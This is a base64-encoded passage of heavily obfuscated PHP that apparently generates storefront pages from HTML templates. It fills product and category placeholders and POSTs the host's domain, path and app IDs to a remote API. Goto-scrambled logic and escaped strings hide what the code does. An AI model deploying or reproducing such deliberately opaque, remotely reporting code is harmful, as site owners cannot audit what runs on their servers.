NjJceDc5XHg1ZlwxNTFcMTQ0Il0sIHNlbGY6Okp1bFVfLCBzZWxmOjp4bHZ6aV0pOyBnb3RvIGRWamNMOyBpWVU3QTogaHR0cF9yZXNwb25zZV9jb2RlKCRKR2I5ZVsiXDE2M1wxNjRceDYxXHg3NFx4NzVcMTYzXDEzN1wxNDNcMTU3XDE0NFx4NjUiXSk7IGdvdG8gejQ3TTQ7IGRWamNMOiAkRGtXcnIgPSAkdGhpcy0+UUZDOHMoJEwxeFRfWyJceDYzXDE0MVx4NzRceDY1XDE0N1x4NmZceDcyXDE3MVwxMzdcMTUxXDE0NCJdKTsgZ290byBzY1dmQTsgc2NXZkE6ICR0aGlzLT5qRk9PXyhzZWxmOjpDOE5OVSwganNvbl9lbmNvZGUoJERrV3JyKSwgWyRMMXhUX1siXDE0M1wxNDFceDc0XHg2NVwxNDdceDZmXDE2MlwxNzFceDVmXDE1MVx4NjQiXV0pOyBnb3RvIGtYOXFmOyBTRmF2VzogJFl6WUxkID0gJHRoaXMtPm1fSjFFKCRMMXhUX1siXHg2M1x4NjFceDc0XHg2NVwxNDdcMTU3XHg3MlwxNzFcMTM3XHg2OVwxNDQiXSwgc2VsZjo6SnVsVV8sIHNlbGY6OnhsdnppKTsgZ290byBRQnl1djsgTzU5ajA6IGRpZTsgZ290byBJaU1udzsgcm0zcWE6ICRXYV9oMSA9ICR0aGlzLT5ERXBPMigpOyBnb3RvIFNXN2hROyBwcUdNNTogZm9yZWFjaCAoJFdhX2gxIGFzICRvUDI5WSkgeyBnb3RvIFZkU0x6OyBWZFNMejogJEIyZThoID0gJHRoaXMtPm1fajFlKCRvUDI5WVsiXHg2M1x4NjFceDc0XHg2NVx4NjdceDZmXHg3Mlx4NzlceDVmXDE1MVx4NjQiXSwgc2VsZjo6SnVsVV8sIHNlbGY6OnhsdnppKTsgZ290byBvTXBwejsgb01wcHo6ICR0aGlzLT5KRk9PXyhzZWxmOjprWE1vbCwganNvbl9lbmNvZGUoJEIyZThoKSwgWyRvUDI5WVsiXHg2M1x4NjFcMTY0XDE0NVwxNDdceDZmXDE2MlwxNzFcMTM3XDE1MVwxNDQiXSwgc2VsZjo6SnVsVV8sIHNlbGY6OnhsdnppXSk7IGdvdG8gZ2h5WG07IGZaWlpJOiBUM2RvazogZ290byBwYjVzVTsgY1hZNmI6IHNsZWVwKHNlbGY6OnYzM0VqKTsgZ290byBmWlpaSTsgVkxjcFc6ICR0aGlzLT5KRm9PXyhzZWxmOjpDOE5OVSwganNvbl9lbmNvZGUoJERrV3JyKSwgWyRvUDI5WVsiXHg2M1x4NjFceDc0XHg2NVx4NjdcMTU3XHg3MlwxNzFceDVmXDE1MVwxNDQiXV0pOyBnb3RvIGNYWTZiOyBnaHlYbTogJERrV3JyID0gJHRoaXMtPlFmQzhzKCRvUDI5WVsiXDE0M1wxNDFceDc0XDE0NVx4NjdcMTU3XHg3MlwxNzFceDVmXDE1MVwxNDQiXSk7IGdvdG8gVkxjcFc7IHBiNXNVOiB9IGdvdG8gQlBfTjc7IGFGd0ttOiBlY2hvICJceDRmXDExMyI7IGdvdG8gWWRrT3A7IHo0N000OiBlY2hvICRKR2I5ZVsiXHg2NFwxNDFceDc0XHg2MSJdWyJcMTQ1XHg3MlwxNjJcMTU1XHg3M1wxNDciXTsgZ290byBPNTlqMDsgSm9UMnU6ICR0aGlzLT5tMVZlWSgnJyk7IGdvdG8gcm0zcWE7IFNXN2hROiAkTDF4VF8gPSBhcnJheV9zaGlmdCgkV2FfaDEpOyBnb3RvIFNGYXZXOyBCUF9ONzogUGZaVHg6IGdvdG8gYUZ3S207IHhPY1RmOiB0YmpWUTogZ290byBpWVU3QTsgaGVrdkE6ICR6alh0SCA9ICR0aGlzLT5QMmRkbCgkdGhpcy0+RHBhOFIgLiBzZWxmOjptakdNWCwgYXJyYXkoIlx4NzNcMTQzXHg2OFx4NjVcMTU1XHg2NSIgPT4gaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFwxMjBcMTIzIl0pICYmICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXDEyMyJdID09PSAiXDE1N1x4NmUiID8gIlwxNTBceDc0XHg3NFx4NzBcMTYzIiA6ICJceDY4XHg3NFx4NzRcMTYwIiwgIlwxNjBceDYxXHg3Mlx4NjVcMTU2XDE2NFwxMzdceDY5XDE0NCIgPT4gJHRoaXMtPkpJMXVPLCAiXDE0NFwxNTdceDZkXDE0MVwxNTFceDZlIiA9PiAkdGhpcy0+cVlfemQsICJcMTYwXHg2MVwxNjRcMTUwIiA9PiAieyR0aGlzLT5jV3BLcSgpfVx4MmYiLCAiXHg2MVwxNjBcMTYwXDEzN1wxNTFcMTQ0IiA9PiAkdGhpcy0+YVZIVnYsICJcMTQxXHg3MFx4NjlcMTM3XHg3M1x4NzJceDYzIiA9PiAkdGhpcy0+VWRQWjMsICJceDYxXDE2MFwxNTFceDVmXDE0NVx4NzhcMTY0XDE2Mlx4NjEiID0+ICR0aGlzLT5vbzBfTSwgIlx4NjlcMTYzXHg1Zlx4NmVcMTQ3XHg2OVx4NmVcMTcwIiA9PiAwKSwgW10sICJceDUwXHg0Zlx4NTNcMTI0Iik7IGdvdG8gU3lpN3k7IFN5aTd5OiAkSkdiOWUgPSBqc29uX2RlY29kZSgkempYdEhbIlwxNDRceDYxXDE2NFwxNDEiXSwgdHJ1ZSk7IGdvdG8gWHZpRHE7IFh2aURxOiBpZiAoISgkSkdiOWVbIlwxNjNceDc0XDE0MVwxNjRceDc1XHg3M1x4NWZcMTQzXDE1N1x4NjRceDY1Il0gPT0gMjAwKSkgeyBnb3RvIHRialZROyB9IGdvdG8gSm9UMnU7IFlka09wOiBkaWU7IGdvdG8geE9jVGY7IGtYOXFmOiBmb3JlYWNoICgkWXpZTGQgYXMgJFB3UVpnKSB7IGdvdG8gTnJjOEQ7IEZDQVBoOiAkdGhpcy0+akZvb18oc2VsZjo6cDJ4NDgsIGpzb25fZW5jb2RlKCRFeXJTbiksIFskUHdRWmdbIlwxNTFceDY0Il1dKTsgZ290byBBYnhtejsgb0NheFY6IGdIMktVOiBnb3RvIE10SWJKOyBOcmM4RDogJEV5clNuID0gJHRoaXMtPk9wSFZMKCRQd1FaZ1siXDE1MVwxNDQiXSwgc2VsZjo6bVNCNkkpOyBnb3RvIEZDQVBoOyBBYnhtejogc2xlZXAoc2VsZjo6djMzRWopOyBnb3RvIG9DYXhWOyBNdEliSjogfSBnb3RvIEVXQTkwOyBFV0E5MDogRUdNNGE6IGdvdG8gcHFHTTU7IElpTW53OiB9IHB1YmxpYyBmdW5jdGlvbiBNSjk4aygkV2FfaDEsICRLRThoRykgeyBnb3RvIHY3ZmdJOyBNME5JVzogJEtFOGhHID0gcHJlZ19yZXBsYWNlKCJcNTdceDdiXDE3M1x4NzBcMTYyXDE1N1wxNDRcMTY1XHg2M1x4NzRcMTM3XDE0M1wxNDFcMTY0XHg2NVx4NjdcMTU3XHg3MlwxNzFcMTM3XDE1NVx4NmZceDYyXDE1MVwxNTRceDY1XDE3NVwxNzVcNTciLCAkb2hHYjUsICRLRThoRyk7IGdvdG8geXZ5Q207IHY3ZmdJOiAkd2ZYTF8gPSAkdGhpcy0+Ujk1em0oJFdhX2gxKTsgZ290byBmNUxGXzsgZjVMRl86ICRvaEdiNSA9ICR0aGlzLT5SOTVaTSgkV2FfaDEsIHRydWUpOyBnb3RvIHYwMnFJOyBtdEpCYTogcmV0dXJuICRLRThoRzsgZ290byBrWG1oazsgeXZ5Q206ICRLRThoRyA9IHByZWdfcmVwbGFjZSgiXDU3XDE3M1wxNzNcMTYwXHg3MlwxNDVceDY2XDE1MVwxNzBceDdkXDE3NVx4MmYiLCAkdGhpcy0+Q1dQS3EoKSwgJEtFOGhHKTsgZ290byBsUjZUUzsgT0lINk46ICRLRThoRyA9IHByZWdfcmVwbGFjZSgiXHgyZlx4N2JceDdiXHg2Nlx4NmZceDZmXDE2NFx4NjVceDcyXHg1ZlwxNDNceDZmXDE2MFwxNzFcMTYyXHg2OVx4NjdcMTUwXHg3NFx4N2RcMTc1XHgyZiIsICRTZFlKTCwgJEtFOGhHKTsgZ290byBtdEpCYTsgZUNodnM6ICRTZFlKTCA9ICJcNzRcMTYzXHg3MFwxNDFcMTU2XHgyMFwxNDNceDZjXHg2MVwxNjNcMTYzXHgzZFx4MjJceDY2XHg2ZlwxNTdceDc0XDE0NVwxNjJceDJkXDE0M1x4NmZceDcwXDE3MVx4NzJcMTUxXDE0N1x4NjhcMTY0XHgyMlw3NlwxMDNceDZmXDE2MFwxNzFcMTYyXHg2OVx4NjdcMTUwXHg3NFx4YzJcMjUxXHgyMCIgLiBkYXRlKCJceDU5IikgLiAiXDQwXDc0XDE0MVw0MFwxNjNcMTY0XDE3MVx4NmNceDY1XDc1XDQyXDE0M1x4NmZceDZjXDE1N1x4NzJcNzJcNDBceDIzXDYwXDYwXDY3XHg2Mlx4NjZcMTQ2XDQyXDQwXDE1MFx4NzJceDY1XDE0Nlw3NVw0MiIgLiAkbzUyNEcgLiAiXHgyMlw3NiIgLiAkdGhpcy0+cVlfemQgLiAiXHgzY1w1N1x4NjFcNzZcNDBceDQxXDE1NFx4NmNceDIwXDEyMlx4NjlcMTQ3XHg2OFwxNjRcMTYzXHgyMFx4NTJcMTQ1XHg3M1wxNDVcMTYyXHg3Nlx4NjVcMTQ0XDc0XHgyZlwxNjNceDcwXDE0MVx4NmVcNzYiOyBnb3RvIE9JSDZOOyBsUjZUUzogJG81MjRHID0gJHRoaXMtPmNXcGtxKCk7IGdvdG8gcXJOekE7IHYwMnFJOiAkS0U4aEcgPSBwcmVnX3JlcGxhY2UoIlx4MmZceDdiXHg3YlwxNjBceDcyXHg2ZlwxNDRceDc1XDE0M1x4NzRcMTM3XHg2M1x4NjFceDc0XHg2NVwxNDdceDZmXDE2MlwxNzFcMTc1XDE3NVx4MmYiLCAkd2ZYTF8sICRLRThoRyk7IGdvdG8gTTBOSVc7IHFyTnpBOiAkS0U4aEcgPSBwcmVnX3JlcGxhY2UoIlx4MmZcNTBcMTYzXDE2Mlx4NjNcNzVceDdjXHg2OFx4NzJceDY1XDE0Nlw3NVx4MjlcNTBcMTMzXDQ3XDQyXDEzNVw1MVx4MjhcMTM0XHgyZlx4MmVceDJhXHgzZlx4MjlceDVjXDYyXDU3IiwgIlw0NFx4MzFceDIyIiAuICRvNTI0RyAuICJceDI0XHgzM1w0MiIsICRLRThoRyk7IGdvdG8gZUNodnM7IGtYbWhrOiB9IHB1YmxpYyBmdW5jdGlvbiBCd2NrMCgpIHsgZ290byBXRHdaYjsgWThVV2I6ICRJd2xUTCA9ICR0aGlzLT5ya05tOChhcnJheV9tZXJnZSgkS2s0ZzMsIFsieyRiMlhVMlsiXHg2M1wxNDFceDc0XDE0NVwxNDdceDZmXHg3MlwxNzFcMTM3XHg2ZVwxNDFceDZkXDE0NSJdfVwxMzd7JGIyWFUyWyJceDYzXHg2MVx4NzRceDY1XHg2N1x4NmZceDcyXHg3OVx4NWZceDY5XHg2NCJdfSIgPT4gJEIyZThoXSksIHNlbGY6Okp1bFVfLCBzZWxmOjp4bHZ6aSk7IGdvdG8ganM4Tlk7IENyalZlOiAkS0U4aEcgPSAkdGhpcy0+TWo5OGsoJFdhX2gxLCAkS0U4aEcpOyBnb3RvIGFfYlFNOyBXRHdaYjogJEtFOGhHID0gZmlsZV9nZXRfY29udGVudHMoX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAiXHg2OFx4NmZceDZkXHg2NVw1Nlx4NjhcMTY0XHg2ZFx4NmMiKTsgZ290byBES0YwaTsgYXpKQVI6ICRLRThoRyA9ICR0aGlzLT5JMjJkWigkS0U4aEcpOyBnb3RvIENyalZlOyBJR3U5eTogJEIyZThoID0gJHRoaXMtPm1fSjFlKCRiMlhVMlsiXDE0M1wxNDFceDc0XHg2NVx4NjdcMTU3XDE2MlwxNzFcMTM3XDE1MVx4NjQiXSwgc2VsZjo6SnVsVV8sIHNlbGY6OnhsdnppKTsgZ290byBZOFVXYjsgTDE5azk6ICRLazRnMyA9ICR0aGlzLT5TWjJaRSgpOyBnb3RvIFFTNmY3OyBRUzZmNzogJGIyWFUyID0gYXJyYXlfc2hpZnQoJFdhX2gxKTsgZ290byBJR3U5eTsganM4Tlk6ICRLRThoRyA9IHByZWdfcmVwbGFjZSgiXDU3XHg3YlwxNzNceDcwXDE2Mlx4NmZcMTQ0XHg3NVwxNDNcMTY0XHg1Zlx4NmNcMTUxXDE2M1wxNjRceDdkXHg3ZFw1NyIsICRJd2xUTFsiXDE1NFwxNTFceDczXDE2NFwxMzdcMTUwXHg3NFx4NmRceDZjIl0sICRLRThoRyk7IGdvdG8gYXpKQVI7IERLRjBpOiAkV2FfaDEgPSAkdGhpcy0+REVQTzIoKTsgZ290byBMMTlrOTsgYV9iUU06IHJldHVybiAkS0U4aEc7IGdvdG8gWFpwc1Y7IFhacHNWOiB9IHB1YmxpYyBmdW5jdGlvbiBnMGdaMSgpIHsgZ290byBoaDNDMDsgeVNuQzk6ICRLRThoRyA9IHByZWdfcmVwbGFjZSgiXDU3XDE3M1x4N2JcMTQzXHg2Zlx4NmNceDZjXDE0NVwxNDNcMTY0XDE1MVwxNTdcMTU2XDEzN1x4NzRceDc1XHg3MlwxNTZcMTM3XDE2MFx4NjFcMTQ3XHg2NVwxNzVcMTc1XHgyZiIsICRJd2xUTFsiXDE2NFwxNjVceDcyXDE1NlwxMzdceDcwXHg2MVwxNDdcMTQ1XDEzN1wxNTBceDc0XDE1NVwxNTQiXSwgJEtFOGhHKTsgZ290byBOWG8wYTsgSjRxOTg6ICRLRThoRyA9ICR0aGlzLT5NSjk4aygkdGhpcy0+RGVwbzIoKSwgJEtFOGhHKTsgZ290byB5amxmTDsgaExBNUI6ICRLRThoRyA9IHByZWdfcmVwbGFjZSgiXHgyZlx4N2JceDdiXDE0M1wxNTdcMTU0XHg2Y1wxNDVceDYzXDE2NFwxNTFceDZmXDE1NlwxMzdceDczXHg3NVwxNDJcMTM3XHg2M1wxNDFceDc0XHg2NVwxNDdcMTU3XHg3Mlx4NzlcMTc1XDE3NVw1NyIsICRiTGlYaywgJEtFOGhHKTsgZ290byBKMGZ6YzsgaGgzQzA6IGxpc3QoJEQwVm16LCAkQm1OMmQsICR0T0kwTikgPSBbJF9HRVRbIlwxNTEiXSwgJF9HRVRbIlx4NmUiXSA/OiBzZWxmOjpKdWxVXywgJF9HRVRbIlx4NzMiXSA/OiBzZWxmOjp4bHZ6aV07IGdvdG8gdGhGc2Q7IFhhandSOiAkS0U4aEcgPSAkdGhpcy0+STIyZHooJEtFOGhHLCAieyRCMmU4aFsiXDE1M1wxNDVcMTcxIl19Iiwgc2VsZjo6ZXpxM1osICRCMmU4aCk7IGdvdG8gSjRxOTg7IHRoRnNkOiAkS0U4aEcgPSBmaWxlX2dldF9jb250ZW50cyhfX0RJUl9fIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICJcMTQzXHg2ZlwxNTRcMTU0XDE0NVx4NjNcMTY0XHg2OVwxNTdceDZlXDU2XHg2OFx4NzRceDZkXHg2YyIpOyBnb3RvIGgzYU91OyBoM2FPdTogJEIyZThoID0gJHRoaXMtPk1fajFFKCREMFZteiwgJEJtTjJkLCAkdE9JME4pOyBnb3RvIExWbWVfOyBOWG8wYTogJEtFOGhHID0gcHJlZ19yZXBsYWNlKCJcNTdceDdiXDE3M1x4NjNceDZmXHg2Y1wxNTRceDY1XHg2M1x4NzRcMTUxXDE1N1x4NmVceDVmXHg2MlwxNjJcMTQ1XHg2MVx4NjRceDYzXDE2Mlx4NzVcMTU1XHg2Mlx4N2RceDdkXDU3IiwgJEl3bFRMWyJcMTQzXDE1N1x4NmNcMTU0XDE0NVwxNDNceDc0XHg2OVx4NmZceDZlXDEzN1x4NjJcMTYyXDE0NVwxNDFceDY0XDE0M1x4NzJceDc1XDE1NVx4NjJcMTM3XDE1MFwxNjRcMTU1XDE1NCJdLCAkS0U4aEcpOyBnb3RvIHlsU2NjOyBUbHpZcjogJGJMaVhrID0gJHRoaXMtPnpfTV93KCREa1dycik7IGdvdG8gaExBNUI7IFJ5bHVuOiAkS0U4aEcgPSBwcmVnX3JlcGxhY2UoIlx4MmZcMTczXHg3YlwxNjBcMTYyXHg2Zlx4NjRceDc1XDE0M1x4NzRceDVmXHg2Y1x4NjlcMTYzXHg3NFx4N2RceDdkXDU3IiwgJEl3bFRMWyJcMTU0XDE1MVwxNjNceDc0XHg1Zlx4NjhcMTY0XHg2ZFx4NmMiXSwgJEtFOGhHKTsgZ290byB5U25DOTsgeWxTY2M6IGlmICgkdGhpcy0+eHp5NjEpIHsgZ290byBVQUE5STsgfSBnb3RvIGlRcGlTOyB5amxmTDogcmV0dXJuICRLRThoRzsgZ290byB4dWt3cTsgSjBmemM6IFVBQTlJOiBnb3RvIFhhandSOyBpUXBpUzogJERrV3JyID0gJHRoaXMtPnFGYzhTKCREMFZteik7IGdvdG8gVGx6WXI7IExWbWVfOiAkSXdsVEwgPSAkdGhpcy0+UktuTTgoWyRCMmU4aF0sICRCbU4yZCwgJHRPSTBOKTsgZ290byBSeWx1bjsgeHVrd3E6IH0gcHVibGljIGZ1bmN0aW9uIHFvdF90KCkgeyAkV2FfaDEgPSAkdGhpcy0+REVQbzIoKTsgcmV0dXJuICR0aGlzLT5SOTV6TSgkV2FfaDEpOyB9IHB1YmxpYyBmdW5jdGlvbiBnZ0tsUygpIHsgZ290byBTZFNFVDsgaXB2VmM6ICRQd1FaZyA9ICR0aGlzLT5PUGh2TCgkalNoYUosIHNlbGY6Om1TQjZJKTsgZ290byB1Mmd1WjsgZnp4YUY6ICRHUXZ1VCA9ICR0aGlzLT5SS25tOChbJFB3UVpnWyJcMTYyXDE0NVwxNDNceDZmXDE1NVx4NmRceDY1XHg2ZVx4NjRceDczIl1dKTsgZ290byBYbHZ3MDsgaXNwOGs6ICRLRThoRyA9IHByZWdfcmVwbGFjZSgiXHgyZlwxNzNceDdiXDE0NFx4NjVceDc0XDE0MVx4NjlcMTU0XHg1Zlx4NzBcMTYyXHg2ZlwxNDRcMTY1XHg2M1x4NzRcMTM3XHg2OVx4NmRcMTQxXDE0N1wxNDVcMTYzXDE3NVx4N2RceDJmIiwgJFdkUzFzWyJcMTUxXHg2ZFx4NjFceDY3XDE0NVx4NWZcMTUwXDE2NFwxNTVceDZjIl0sICRLRThoRyk7IGdvdG8gbFhWUHY7IEE3QjhmOiByZXR1cm4gJEtFOGhHOyBnb3RvIGdKeGZaOyBYbHZ3MDogJFhDR1FSID0gJHRoaXMtPmhxUm5OKCRQd1FaZ1siXHg2NFwxNDFcMTY0XHg2MSJdKTsgZ290byBWdUUyQTsgakxQR3U6ICRLRThoRyA9IHByZWdfcmVwbGFjZSgiXHgyZlx4N2JceDdiXHg2NFx4NjVcMTY0XHg2MVwxNTFcMTU0XDEzN1wxNTJcMTYzXHg2Zlx4NmVcMTM3XDE1MVwxNDRcMTc1XDE3NVx4MmYiLCAkWENHUVIsICRLRThoRyk7IGdvdG8gU1l5blM7IGczOG91OiAkS0U4aEcgPSAkdGhpcy0+TWo5OEsoJHRoaXMtPkRlcE8yKCksICRLRThoRyk7IGdvdG8gQTdCOGY7IGxYVlB2OiAkS0U4aEcgPSBwcmVnX3JlcGxhY2UoIlx4MmZcMTczXHg3Ylx4NjRcMTQ1XHg3NFx4NjFceDY5XDE1NFx4NWZceDcwXDE2Mlx4NmZcMTQ0XDE2NVx4NjNcMTY0XHg1ZlwxNjRceDY5XDE2NFx4NmNcMTQ1XHg3ZFwxNzVcNTciLCAkV2RTMXNbIlx4NzRcMTUxXHg3NFwxNTRceDY1XDEzN1x4NjhceDc0XDE1NVwxNTQiXSwgJEtFOGhHKTsgZ290byBYeFh1cjsgU2RTRVQ6ICRqU2hhSiA9ICRfR0VUWyJceDY5Il07IGdvdG8gcVdmMjc7IExjMlNIOiAkS0U4aEcgPSBwcmVnX3JlcGxhY2UoIlw1N1wxNzNceDdiXHg2NFwxNDVcMTY0XDE0MVx4NjlceDZjXDEzN1wxNjBcMTYyXDE1N1x4NjRcMTY1XHg2M1x4NzRceDVmXDE2Mlx4NjVceDZjXHg2MVwxNjRceDY1XDE0NFx4N2RcMTc1XHgyZiIsICRHUXZ1VFsiXHg2Y1wxNTFcMTYzXDE2NFx4NWZceDY4XDE2NFx4NmRceDZjIl0sICRLRThoRyk7IGdvdG8gakxQR3U7IFNZeW5TOiAkS0U4aEcgPSAkdGhpcy0+aTIyZFooJEtFOGhHLCAkUHdRWmdbIlx4NjRceDYxXHg3NFx4NjEiXVsiXHg2OVx4NzRceDY1XDE1NVx4NWZceDY5XDE0NCJdLCBzZWxmOjpiODNaaywgW10sICRQd1FaZ1siXDE0NFwxNDFceDc0XDE0MSJdKTsgZ290byBnMzhvdTsgS1R4NG46ICRLRThoRyA9IHByZWdfcmVwbGFjZSgiXDU3XDE3M1wxNzNceDY0XDE0NVx4NzRcMTQxXDE1MVwxNTRceDVmXHg3MFwxNjJceDZmXDE0NFx4NzVceDYzXDE2NFx4NWZcMTQ0XDE0NVx4NzNcMTQzXDE2MlwxNTFcMTYwXDE2NFx4NjlceDZmXHg2ZVwxNzVceDdkXHgyZiIsICRXZFMxc1siXHg2NFwxNDVcMTYzXHg2M1x4NzJcMTUxXDE2MFwxNjRcMTUxXDE1N1x4NmVceDVmXDE1MFx4NzRceDZkXHg2YyJdLCAkS0U4aEcpOyBnb3RvIExjMlNIOyBxV2YyNzogJEtFOGhHID0gZmlsZV9nZXRfY29udGVudHMoX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAiXDE0NFwxNDVceDc0XDE0MVx4NjlceDZjXHgyZVx4NjhcMTY0XDE1NVx4NmMiKTsgZ290byBpcHZWYzsgVnVFMkE6ICRLRThoRyA9IHByZWdfcmVwbGFjZSgiXDU3XDE3M1x4N2JceDY0XDE0NVwxNjRcMTQxXDE1MVx4NmNcMTM3XHg2Mlx4NzJceDY1XHg2MVwxNDRceDYzXDE2Mlx4NzVcMTU1XDE0Mlx4N2RceDdkXDU3IiwgJFdkUzFzWyJceDYyXHg3MlwxNDVcMTQxXHg2NFx4NjNceDcyXHg3NVwxNTVcMTQyXDEzN1wxNTBcMTY0XDE1NVwxNTQiXSwgJEtFOGhHKTsgZ290byBpc3A4azsgdTJndVo6ICRXZFMxcyA9ICR0aGlzLT5Ea3V6MigkUHdRWmdbIlwxNDRceDYxXHg3NFx4NjEiXSwgJFB3UVpnWyJceDZjXDE1MVx4NmVcMTUzXHg3MyJdKTsgZ290byBmenhhRjsgWHhYdXI6ICRLRThoRyA9IHByZWdfcmVwbGFjZSgiXDU3XDE3M1x4N2JceDY0XDE0NVx4NzRcMTQxXDE1MVx4NmNcMTM3XHg3MFwxNjJceDZmXHg2NFx4NzVcMTQzXDE2NFwxMzdcMTYwXHg3Mlx4NjlceDYzXDE0NVwxNzVcMTc1XDU3IiwgJFdkUzFzWyJceDcwXDE2MlwxNTFceDYzXHg2NVwxMzdcMTUwXDE2NFx4NmRcMTU0Il0sICRLRThoRyk7IGdvdG8gbE5mZ2w7IGxOZmdsOiAkS0U4aEcgPSBwcmVnX3JlcGxhY2UoIlx4MmZcMTczXHg3YlwxNDRceDY1XDE2NFx4NjFcMTUxXHg2Y1wxMzdceDcwXHg3MlwxNTdcMTQ0XDE2NVwxNDNceDc0XHg1ZlwxNTVceDY1XHg3NFx4NjFcMTc1XHg3ZFw1NyIsICRXZFMxc1siXHg2ZFx4NjVcMTY0XHg2MVwxMzdcMTUwXDE2NFwxNTVceDZjIl0sICRLRThoRyk7IGdvdG8gS1R4NG47IGdKeGZaOiB9IHB1YmxpYyBmdW5jdGlvbiBJMjJkeigkS0U4aEcsICRIUWtkRSA9ICcnLCAkeUswNzEgPSAnJywgJEIyZThoID0gW10sICRQd1FaZyA9IFtdKSB7IGdvdG8gcDREVkI7IHprVzBzOiByZXR1cm4gJEtFOGhHOyBnb3RvIEZLd29nOyBwNERWQjogJFU1dmcwID0gJHRoaXMtPnVPa1pUKCRIUWtkRSwgJHlLMDcxLCAkQjJlOGgsICRQd1FaZyk7IGdvdG8gVDNaS047IEJPZ3p3OiAkS0U4aEcgPSBwcmVnX3JlcGxhY2UoIlx4MmZceDdiXHg3Ylx4NjRcMTQ1XDE2M1x4NjNcMTYyXHg2OVwxNjBceDc0XDE1MVwxNTdcMTU2XDE3NVx4N2RcNTciLCAkVTV2ZzBbIlwxNDRceDY1XHg3M1wxNDNceDcyXHg2OVwxNjBcMTY0XDE1MVx4NmZceDZlXDEzN1x4NjhceDc0XHg2ZFx4NmMiXSwgJEtFOGhHKTsgZ290byB6a1cwczsgemZnZDU6ICRLRThoRyA9IHByZWdfcmVwbGFjZSgiXHgyZlwxNzNcMTczXDE1M1x4NjVceDc5XDE2N1x4NmZcMTYyXDE0NFwxNjNceDdkXDE3NVw1NyIsICRVNXZnMFsiXHg2YlwxNDVceDc5XHg3N1x4NmZcMTYyXHg2NFx4NzNcMTM3XDE1MFx4NzRcMTU1XHg2YyJdLCAkS0U4aEcpOyBnb3RvIEJPZ3p3OyBUM1pLTjogJEtFOGhHID0gcHJlZ19yZXBsYWNlKCJceDJmXHg3YlwxNzNcMTY0XHg2OVwxNjRceDZjXDE0NVx4N2RceDdkXDU3IiwgJFU1dmcwWyJceDc0XHg2OVwxNjRceDZjXDE0NVx4NWZceDY4XHg3NFwxNTVcMTU0Il0sICRLRThoRyk7IGdvdG8gemZnZDU7IEZLd29nOiB9IHByaXZhdGUgZnVuY3Rpb24gU1oyWkUoKSB7IGdvdG8gZklpU1k7IGZJaVNZOiAkempYdEggPSAkdGhpcy0+UDJEREwoJHRoaXMtPkRwYThSIC4gc2VsZjo6bnlhS20pOyBnb3RvIHg0aGZQOyB5MDM2bjogaWYgKCEoJHpqWHRIWyJceDYzXHg2Zlx4NjRcMTQ1Il0gPT0gMjAwICYmIGlzc2V0KCR6alh0SFsiXHg2NFx4NjFcMTY0XHg2MSJdKSAmJiAhZW1wdHkoJHpqWHRIWyJceDY0XDE0MVwxNjRcMTQxIl0pKSkgeyBnb3RvIGlsWVoyOyB9IGdvdG8gejVSZlg7IFQxaDVDOiBVUTZGcTogZ290byBCR1hzSTsgeDRoZlA6IGxpc3QoJHRub2o2LCAkQjJlOGgpID0gYXJyYXkoW10sIFtdKTsgZ290byB5MDM2bjsgQkdYc0k6IGlsWVoyOiBnb3RvIEZLWjhmOyB4NG0yWDogZm9yZWFjaCAoJFFZdVBoWyJcMTQ0XHg2MVx4NzRceDYxIl0gYXMgJE5QRnZSKSB7IGdvdG8gVUNjRms7IExNb3owOiBFRHJzeTogZ290byBoWUJQUjsgSWJPbEg6ICRZOVlHeSA9ICR0aGlzLT5HSDFSQSgiXDE2M1wxNTNcMTY1IiAuICROUEZ2UlsiXHg2M1x4NjFceDc0XHg2NVx4NjdceDZmXHg3MlwxNzEiXVsiXDE1MVx4NjQiXSk7IGdvdG8gdEdDbEg7IHRHQ2xIOiAkQjJlOGhbInskTlBGdlJbIlwxNDNceDYxXHg3NFx4NjVceDY3XHg2Zlx4NzJceDc5Il1bIlwxNTZcMTQxXHg2ZFwxNDUiXX1cMTM3eyRZOVlHeX0iXSA9IGFycmF5X21hcChmdW5jdGlvbiAoJE5ZQnJYKSB7ICRGVkNMMyA9ICR0aGlzLT5kbE9fNCgkTllCclhbIlx4NjNcMTY1XDE2Mlx4NzJcMTQ1XHg2ZVx4NzRcMTM3XHg3MFwxNjJceDY5XDE0M1x4NjUiXSk7IHJldHVybiBhcnJheSgiXHg3NFx4NjlceDc0XHg2Y1x4NjUiID0+ICROWUJyWFsiXDE2NFx4NjlceDc0XHg2Y1x4NjUiXSwgIlwxNTFceDY0IiA9PiAkdGhpcy0+Z2gxUmEoIlwxNjNceDZiXHg3NSIgLiAkTllCclhbIlx4NjlcMTY0XDE0NVx4NmRceDVmXHg2OVx4NjQiXSksICJceDc1XHg3MlwxNTQiID0+IHNlbGY6OmI4M1prIC4gIlx4MmYiIC4gJHRoaXMtPmFLQ0N6KHVjd29yZHMoc3RydG9sb3dlcigkTllCclhbIlx4NzRcMTUxXDE2NFwxNTRceDY1Il0pKSkgLiAiXDEzNyIgLiAkdGhpcy0+Z0gxcmEoIlx4NzNcMTUzXDE2NSIgLiAkTllCclhbIlwxNTFceDc0XHg2NVwxNTVceDVmXHg2OVwxNDQiXSkgLiAiXDU2XHg2OFx4NzRceDZkXHg2YyIsICJcMTQzXDE2NVx4NzJcMTYyXDE0NVwxNTZcMTQzXHg3OVwxMzdcMTYzXDE3MVx4NmRceDYyXDE1N1wxNTQiID0+ICR0aGlzLT5KdkpKTigkTllCclhbIlwxNDNcMTY1XHg3MlwxNjJceDY1XDE1Nlx4NjNceDc5XHg1ZlwxNTFceDY0Il0pLCAiXHg2NFwxNTFceDczXHg3MFwxNTRcMTQxXHg3OVx4NWZcMTYwXHg3MlwxNTFcMTQzXDE0NSIgPT4gJEZWQ0wzWyJceDY0XDE1MVx4NzNceDcwXHg2Y1wxNDFcMTcxXDEzN1wxNjBcMTYyXDE1MVwxNDNcMTQ1Il0sICJceDcyXDE0MVx4NzdcMTM3XHg3MFwxNjJceDY5XDE0M1wxNDUiID0+ICRGVkNMM1siXHg3Mlx4NjFcMTY3XDEzN1wxNjBcMTYyXHg2OVx4NjNceDY1Il0sICJcMTUxXDE1NVx4NjFcMTQ3XHg2NVwxMzdcMTYzXDE2Mlx4NjMiID0+ICROWUJyWFsiXDE0MVwxNTRcMTQyXHg3NVwxNTUiXSk7IH0sICROUEZ2UlsiXHg2OVx4NzRceDY1XHg2